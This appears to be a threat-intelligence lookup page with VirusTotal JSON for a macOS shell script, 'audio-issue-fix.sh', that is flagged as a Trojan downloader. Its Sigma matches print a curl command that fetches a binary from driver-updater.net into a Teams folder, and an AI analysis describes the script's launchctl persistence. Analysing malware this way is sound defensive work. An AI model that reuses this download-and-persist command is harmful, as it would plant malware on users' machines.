ce9da8845b153c5ba50281304b77969b
Hash
- MD5: ce9da8845b153c5ba50281304b77969b
- SHA1: d068b346169ced2ed677e1d4d75becf84829017f
- SHA256: b6cab0b3aa8e56e2427f486c74588d598ae58bb0cbc0eda6939fe171cb0aed17
- First Seen: 2026-05-27
- Last Seen: 2026-05-27
-
1
Related Reports
-
0
Related IOCs
Additional Information
VirusTotal
{
"data": {
"id": "b6cab0b3aa8e56e2427f486c74588d598ae58bb0cbc0eda6939fe171cb0aed17",
"type": "file",
"links": {
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},
"attributes": {
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"popular_threat_classification": {
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},
{
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{
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{
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{
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],
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},
"magic": "Bourne-Again shell script, Unicode text, UTF-8 text executable",
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"trid": [
{
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},
{
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"method": "blacklist",
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"result": "MacOS:Downloader-GK [Drp]"
},
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},
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"category": "malicious",
"result": "HEUR:Trojan-Downloader.OSX.Agent.bg"
},
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},
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},
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"rule_title": "Usage Of Web Request Commands And Cmdlets",
"rule_description": "Detects the use of various web request commands with commandline tools and Windows PowerShell cmdlets (including aliases) via CommandLine",
"rule_author": "James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger",
"match_context": [
{
"values": {
"CommandLine": "curl -fso /root/Library/Application Support/Microsoft Teams/coreaudiod https://driver-updater.net/mac/intel/driver/coreaudiod",
"Image": "curl",
"EventID": "1"
}
}
]
},
{
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"rule_source": "Sigma Integrated Rule Set (GitHub)",
"rule_title": "Curl Usage on Linux",
"rule_description": "Detects a curl process start on linux, which indicates a file download from a remote location or a simple web request to a remote server",
"rule_author": "Nasreddine Bencherchali (Nextron Systems)",
"match_context": [
{
"values": {
"CommandLine": "/usr/bin/curl curl -fso \"/root/Library/Application Support/Microsoft Teams/coreaudiod\" https://driver-updater.net/mac/intel/driver/coreaudiod",
"Image": "/usr/bin/curl",
"EventID": "1"
}
}
]
}
],
"names": [
"audio-issue-fix.sh"
],
"tags": [
"shell",
"detect-debug-environment",
"long-sleeps"
],
"md5": "ce9da8845b153c5ba50281304b77969b",
"type_tag": "shell",
"first_submission_date": 1776265987,
"times_submitted": 1,
"sigma_analysis_stats": {
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"high": 0,
"medium": 1,
"low": 1
},
"last_analysis_stats": {
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"suspicious": 0,
"undetected": 38,
"harmless": 0,
"timeout": 0,
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"type-unsupported": 14
},
"filecondis": {
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"dhash": "fca8a898ac900080"
},
"last_modification_date": 1779972662,
"size": 3250,
"meaningful_name": "audio-issue-fix.sh",
"sha1": "d068b346169ced2ed677e1d4d75becf84829017f",
"sigma_analysis_summary": {
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"high": 0,
"medium": 1,
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}
},
"crowdsourced_ai_results": [
{
"verdict": "malicious",
"analysis": "The script performs the following technical actions:\n\n1. System Information Gathering: Retrieves the macOS version and inventories audio hardware devices using `sw_vers` and `system_profiler`.\n2. Process and Kernel Management: Terminates the system's `coreaudiod` process and attempts to restart it. It also unloads and reloads the `com.apple.driver.AppleHDA` kernel extension.\n3. Directory Creation: Creates a directory path within the user's Application Support folder associated with Microsoft Teams.\n4. Remote File Download: Identifies the system architecture (ARM or Intel) and uses `curl` to download a binary from a remote URL (`driver-updater.net`). The file is saved to the newly created directory and named `coreaudiod`.\n5. Execution and Persistence: Modifies the permissions of the downloaded binary to make it executable. It then uses `launchctl` to register and run this binary as a background job under the name `coreaudiod.job`.",
"source": "palm",
"category": "code_insight",
"id": "b6cab0b3aa8e56e2427f486c74588d598ae58bb0cbc0eda6939fe171cb0aed17-file-palm"
}
]
}
}
}